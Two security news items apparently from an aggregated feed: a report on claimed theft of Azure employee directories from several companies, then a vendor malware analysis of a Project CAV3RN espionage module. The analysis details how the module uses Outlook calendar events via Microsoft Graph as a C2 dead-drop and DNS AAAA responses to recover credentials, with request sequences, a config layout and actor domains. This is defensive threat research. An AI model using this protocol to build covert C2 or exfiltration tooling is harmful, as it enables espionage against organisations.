A threat actor is claiming to have stolen millions of employee records from the Microsoft Azure environments of several major companies, raising concerns that the information could be used to launch targeted phishing, impersonation, and privilege escalation attacks.

The threat actor, known as “TheHatman,” has reportedly posted internal employee directories belonging to companies including McDonald’s, Vodafone, Kyndryl, Tata Consultancy Services (TCS), HCL Technologies, InterContinental Hotels Group, Gap, Hexaware Technologies, and Wyndham Hotels for sale on cybercrime forums.

According to various sources, samples of the data contained corporate email addresses and fields consistent with standard Azure directory exports. However, the exact method used to gain access remains unconfirmed.

Researchers said compromised credentials linked to many of the affected organisations had previously circulated following infostealer infections. Possible routes into the environments include stolen session tokens, phishing, weak MFA protections, or third-party integrations with excessive permissions.

Employee data creates a roadmap for attackers

The allegedly stolen information includes employee IDs, job titles, departments, reporting structures, group memberships, service accounts, and, in some cases, details of Global Administrator accounts.

Cian Heasley, Principal Consultant at Acumen Cyber, warned that information that initially appears relatively harmless can provide the foundations for further attacks.

“Names, job titles, phone numbers, service account labels, and global administrator identities are precisely the precursors required to build convincing spear-phishing, phone based social engineering and helpdesk request employee impersonation attacks against higher value accounts or systems,” Heasley said.

He also warned against dismissing older employee information as irrelevant.

“Enterprise org charts change slowly, service account naming conventions rarely change and historic breached data dumps can remain useful for aiding in the planning and execution of new attacks years after the original compromise took place.”

TCS has said it found no credible evidence that its systems or customer environments were breached. The company said the referenced information appeared to be more than four years old and limited to basic employee details.

Stolen credentials put cloud environments at risk

Muhammad Yahya Patel, vCISO and Cybersecurity Advisor for EMEA at Huntress, said the incident demonstrates how infostealer infections can ultimately lead to cloud compromise.

“Infostealers harvesting credentials from corporate devices, those credentials landing in criminal marketplaces, and a threat actor using them to access cloud environments that trusted those credentials without adequate verification. Same playbook. Different logos on the breach notification.”

Patel said cloud identity infrastructure is only as secure as the credentials and devices accessing it.

“Conditional access policies, continuous access evaluation, device compliance checks, and real-time credential compromise detection are the controls that close the gap between ‘credentials stolen by an infostealer’ and ‘attacker inside your cloud environment.'”

He described the employee information reportedly being sold as a “precision targeting kit” for spear phishing and executive impersonation.

Valid credentials should not mean unrestricted data access

Simon Pamplin, CTO at Certes, said the incident also raises questions about what attackers can do once legitimate credentials have been compromised.

“Stolen credentials should not automatically mean stolen data. That is the real issue with this campaign,” Pamplin said.

“The reported ability to use compromised credentials to extract huge volumes of information from enterprise cloud environments shows what can happen when successful authentication is effectively treated as permission to access and move data.”

Pamplin argued that organisations need to assume credentials will sometimes be stolen and ensure that compromising an identity does not automatically make sensitive information readable.

“Cloud security needs to separate identity from control of the data itself. Sensitive data flows should be independently encrypted, segmented and governed so that compromising an account does not provide unrestricted movement across the environment.”

The incident also carries potential supply chain implications. Heasley pointed to the presence of major IT service providers among the organisations named, warning that businesses should review which suppliers hold privileged access to their environments.

The case is also a reminder that data theft does not always arrive with a ransom demand. In this instance, the threat actor appears to be attempting to sell the information directly, meaning affected organisations may only become aware of the theft once their data surfaces on criminal forums.

The post Hacker Claims Millions of Records Stolen From Azure Tenants appeared first on IT Security Guru.

New Project CAV3RN module abuses Outlook calendar events for C2 and DNS AAAA records for configuration recovery

By: GReAT
21 July 2026 at 04:40

Introduction

In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026, we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.

Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.

Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.

Module network communication architecture

Module network communication architecture

During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.

Technical details

The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.

Project CAV3RN architecture (April 2026)

Project CAV3RN architecture (April 2026)

The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.

C2 communication module

The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.

The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.

get_;;_<agent-id>_,_<legacy-url>  
send_;;_<agent-id>_,_<legacy-url>_,_<result>

The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.

For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.

Outlook calendar events as a C2 channel

The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.

Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.

If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:

{
  "TenantId": "******-****-****-****-**********",  // Microsoft Entra tenant ID
  "ClientId": "********-****-****-****-************",  // application/client ID
  "ClientSecret": "********************************************",
  "UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox
  "Host": "cloudlanecdn[.]com", // DNS bootstrap domain
  "PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key
  "PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key
}

Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to  https://graph.microsoft.com/v1.0/organization.

Attempting this request causes the Azure Identity library to obtain an OAuth application token:

POST https://login.microsoftonline.com/<TenantId>/oauth2/v2.0/token
client_id=<ClientId>
client_secret=<ClientSecret>
scope=https://graph.microsoft.com/.default
grant_type=client_credentials

After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.

Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.

Subject format Purpose Module behavior
Event ID: <agent-id> Operator-to-agent command Searches for the event, downloads its attachments, and deletes it after consumption
Boss update ID: <agent-id>1500 Agent heartbeat Deletes the previous heartbeat event and creates a replacement
Boss Report ID: <agent-id>1500 Agent-to-operator command output Creates an event, uploads encrypted result attachments, and assigns the final subject

Receiving a command

For a get request, the module queries calendarView and filters the results by the Agent ID:

GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')

If Graph returns one or more matches, the module selects the first returned event and requests its attachments:

GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments
Authorization: Bearer <access-token>

After obtaining the attachment response, the module deletes the calendar event:

DELETE /v1.0/users/***@*********.co.il/calendar/events/<EventId>
Authorization: Bearer <access-token>

Our analysis found a consistent difference in capitalization between command and result attachments:

Attachment name Direction Associated subject
file0.txt Operator to agent Event ID: <agent-id>
File0.txt Agent to operator Boss Report ID: <agent-id>1500

Inbound command decryption

Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.

The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.

Encrypted attachment stored in a calendar event

Encrypted attachment stored in a calendar event

After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.

Decrypted command

Decrypted command

The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.

Sending command output

For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.

To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.

This process uses the following sequence of Microsoft Graph requests:

POST   /v1.0/users/***@*********.co.il/calendar/events
POST   /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments
PATCH  /v1.0/users/***@*********.co.il/events/<EventId>

Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.

Heartbeat handling

The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:

GET    /v1.0/users/***@*********.co.il/calendarView 
DELETE /v1.0/users/***@*********.co.il/events/<EventId> 
POST   /v1.0/users/***@*********.co.il/events

Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.

PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Authorization: Bearer <access-token>

{
  "subject": "Boss update ID: <agent-id>1500"
}

Heartbeat events use the same one-hour window in 2050 but contain no attachments.

The following figure summarizes the module’s operational workflow.

DNS AAAA configuration recovery mechanism

When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.

DNS-based configuration recovery (simplified)

DNS-based configuration recovery (simplified)

The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.

The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.

For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.

The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:

Index Configuration value
0 TenantId
1 ClientId
2 ClientSecret
3 UserEmail

Determining the field length through .p. queries

For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.

In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.

As an example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:

d.53466D4C67515A.0.p.cloudlanecdn[.]com

The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.

IPv6 AAAA record payload layout for obtaining length

IPv6 AAAA record payload layout for obtaining length

In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.

To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.

Field length encoding in DNS AAAA record responses (example)

Field length encoding in DNS AAAA record responses (example)

Retrieving configuration data through .q. queries

After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.

The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.

Queries continue at 14-byte offsets until the declared field length has been recovered.

The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.

TenantId retrieval process via DNS AAAA records (example)

TenantId retrieval process via DNS AAAA records (example)

In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.

The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.

The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.

Failure handling and the sentinel AAAA response

In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.

The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypothetical because the backend was unavailable and the module handles every sentinel response in the same way.

Infrastructure

Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.

Domain IP First seen ASN Hosting
ns1.cloudlanecdn[.]com 216.126.237[.]197
144.172.108[.]205
May 2, 2026 AS 14956 RouterHosting LLC
ns2.cloudlanecdn[.]com 216.126.237[.]197
144.172.108[.]205
May 2, 2026 AS 14956 RouterHosting LLC
ns3.cloudlanecdn[.]com 216.126.237[.]197
144.172.108[.]205
May 2, 2026 AS 14956 RouterHosting LLC
ns4.cloudlanecdn[.]com 144.172.108[.]205 May 21, 2026 AS 14956 RouterHosting LLC

Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.

The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.

The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.

Attribution

In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.

Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.

Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.

OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.

Compromised regional infrastructure
OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.

Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.

Conclusions

The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.

The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

CAF021DDA726B8BA049C2AA395E505A1      AzureCommunication.dll
C092B02FBC0FDF7EE9608DD016673806      NewProject.dll
29B2B8C5D99F05BFCDD0D8D976EB5678      AzureCommunication.dll

Domains and IPs

cloudlanecdn[.]com
ns1[.]cloudlanecdn[.]com
ns2[.]cloudlanecdn[.]com
ns3[.]cloudlanecdn[.]com
ns4[.]cloudlanecdn[.]com
google.com[.]ayalon-print.co[.]il
clipeditskill[.]com
accesslinkssl[.]com
216[.]126[.]237[.]197
144[.]172[.]108[.]205

❌
❌